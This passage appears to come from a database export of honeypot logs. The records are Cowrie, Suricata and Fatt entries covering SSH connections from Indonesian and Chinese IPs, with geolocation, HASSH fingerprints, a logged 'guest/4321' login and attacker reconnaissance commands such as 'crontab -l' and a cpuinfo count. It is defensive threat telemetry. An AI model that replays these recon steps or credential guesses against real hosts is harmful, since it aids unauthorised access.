"aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 19494, "timestamp": "2021-09-20T11:56:17.421247", "@timestamp": "2021-09-20T11:56:17.421Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33558	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:17.416404+03	2021-09-20 15:00:06.015723+03	{"_id": "jAYQA3wBvYTbRNuEY1DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:19494 (192.168.176.2:22) [session: 929986875dbf]", "session": "929986875dbf", "@version": "1", "protocol": "ssh", "src_port": 19494, "dest_port": 22, "timestamp": "2021-09-20T11:56:17.416404Z", "@timestamp": "2021-09-20T11:56:17.416Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33559	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:17.257628+03	2021-09-20 15:00:06.016722+03	{"_id": "jQYQA3wBvYTbRNuEY1DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:17.257628Z", "@timestamp": "2021-09-20T11:56:17.257Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33560	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:17.258183+03	2021-09-20 15:00:06.017723+03	{"_id": "jgYQA3wBvYTbRNuEY1DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:17.258183Z", "@timestamp": "2021-09-20T11:56:17.258Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33561	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:17.668521+03	2021-09-20 15:00:06.018723+03	{"_id": "jwYQA3wBvYTbRNuEY1DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "929986875dbf", "@version": "1", "timestamp": "2021-09-20T11:56:17.668521Z", "@timestamp": "2021-09-20T11:56:17.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	\N	\N
33562	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:17.838855+03	2021-09-20 15:00:06.019722+03	{"_id": "kAYQA3wBvYTbRNuEY1DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 197, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "src_ip": "120.36.157.98", "ttylog": "log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5813138484954834, "duplicate": true, "timestamp": "2021-09-20T11:56:17.838855Z", "@timestamp": "2021-09-20T11:56:17.838Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33563	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:56:17.667661+03	2021-09-20 15:00:06.021724+03	{"_id": "kgYQA3wBvYTbRNuEZVAJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 1577887079673031, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 19494, "dest_port": 22, "timestamp": "2021-09-20T11:56:17.667661Z", "@timestamp": "2021-09-20T11:56:17.667Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33564	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:18.823608+03	2021-09-20 15:00:06.022722+03	{"_id": "lQYQA3wBvYTbRNuEZ1Cp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "120.36.157.98", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5843682289123535, "duplicate": true, "timestamp": "2021-09-20T11:56:18.823608Z", "@timestamp": "2021-09-20T11:56:18.823Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33565	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:19.056197+03	2021-09-20 15:00:06.023722+03	{"_id": "lwYQA3wBvYTbRNuEZ1Cp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.login.success", "message": "login attempt [guest/4321] succeeded", "session": "929986875dbf", "@version": "1", "password": "4321", "username": "guest", "timestamp": "2021-09-20T11:56:19.056197Z", "@timestamp": "2021-09-20T11:56:19.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.success	\N	\N	\N
33566	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:19.229336+03	2021-09-20 15:00:06.024722+03	{"_id": "nwYQA3wBvYTbRNuEa1CS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:19.229336Z", "@timestamp": "2021-09-20T11:56:19.229Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33567	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:19.479269+03	2021-09-20 15:00:06.025722+03	{"_id": "oAYQA3wBvYTbRNuEa1CS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 110.137.195.172:27092 (192.168.176.2:22) [session: 7d472c31613a]", "session": "7d472c31613a", "@version": "1", "protocol": "ssh", "src_port": 27092, "dest_port": 22, "timestamp": "2021-09-20T11:56:19.479269Z", "@timestamp": "2021-09-20T11:56:19.479Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
33568	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:19.808014+03	2021-09-20 15:00:06.027722+03	{"_id": "owYQA3wBvYTbRNuEa1CS", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 2, "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "src_ip": "120.36.157.98", "ttylog": "log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0 seconds", "session": "60e8465f283a", "@version": "1", "duration": 0.5793259143829346, "duplicate": true, "timestamp": "2021-09-20T11:56:19.808014Z", "@timestamp": "2021-09-20T11:56:19.808Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33569	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:19.22877+03	2021-09-20 15:00:06.028722+03	{"_id": "pAYQA3wBvYTbRNuEa1CT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-riscv64-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.session.params", "message": [], "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:19.228770Z", "@timestamp": "2021-09-20T11:56:19.228Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33570	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:56:19.691081+03	2021-09-20 15:00:06.029722+03	{"_id": "pQYQA3wBvYTbRNuEbFDa", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "proto": "TCP", "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "flow_id": 1774102660717873, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 27092, "dest_port": 22, "timestamp": "2021-09-20T11:56:19.691081Z", "@timestamp": "2021-09-20T11:56:19.691Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33571	110.137.195.172	109.199.241.180	Fatt	2021-09-20 14:56:19.691324+03	2021-09-20 15:00:06.030722+03	{"_id": "pgYQA3wBvYTbRNuEbVDk", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 27092, "dest_port": 22, "timestamp": "2021-09-20T11:56:19.691324", "@timestamp": "2021-09-20T11:56:19.691Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33572	120.36.157.98	109.199.241.180	Cowrie	2021-09-20 14:56:15.737933+03	2021-09-20 15:00:06.031722+03	{"_id": "gQYQA3wBvYTbRNuEW1Dv", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "120.36.157.98", "asn": 4134, "as_org": "Chinanet", "latitude": 24.4798, "location": {"lat": 24.4798, "lon": 118.0819}, "timezone": "Asia/Shanghai", "city_name": "Xiamen", "longitude": 118.0819, "region_code": "FJ", "region_name": "Fujian", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "120.36.157.98", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "60e8465f283a", "@version": "1", "timestamp": "2021-09-20T11:56:15.737933Z", "@timestamp": "2021-09-20T11:56:15.737Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33573	110.137.195.172	109.199.241.180	Fatt	2021-09-20 14:56:17.66788+03	2021-09-20 15:00:06.033722+03	{"_id": "hQYQA3wBvYTbRNuEYlAr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "src_ip": "110.137.195.172", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 19494, "dest_port": 22, "timestamp": "2021-09-20T11:56:17.667880", "@timestamp": "2021-09-20T11:56:17.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33574	110.137.195.172	109.199.241.180	Cowrie	2021-09-20 14:56:17.419135+03	2021-09-20 15:00:06.034722+03	{"_id": "kQYQA3wBvYTbRNuEY1DB", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "110.137.195.172", "asn": 17974, "as_org": "PT Telekomunikasi Indonesia", "latitude": -6.2352, "location": {"lat": -6.2352, "lon": 106.9922}, "timezone": "Asia/Jakarta", "city_name": "Bekasi", "longitude": 106.9922, "region_code": "JB", "region_name": "West Java", "country_name": "Indonesia", "country_code2": "ID", "country_code3": "ID", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "110.137.195.172", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "929986875dbf", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T11:56:17.419135Z", "@timestamp": "2021-09-20T11:56:17.419Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
33575	110.137.195.172	109.199.241.180	Suricata	2021-09-20 14:56:17.66788+03	2021-09-20 15:00:06.035722+03	{"_id": "kwYQA3wBvYTbRNuEZVAJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:56:17.208071+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": 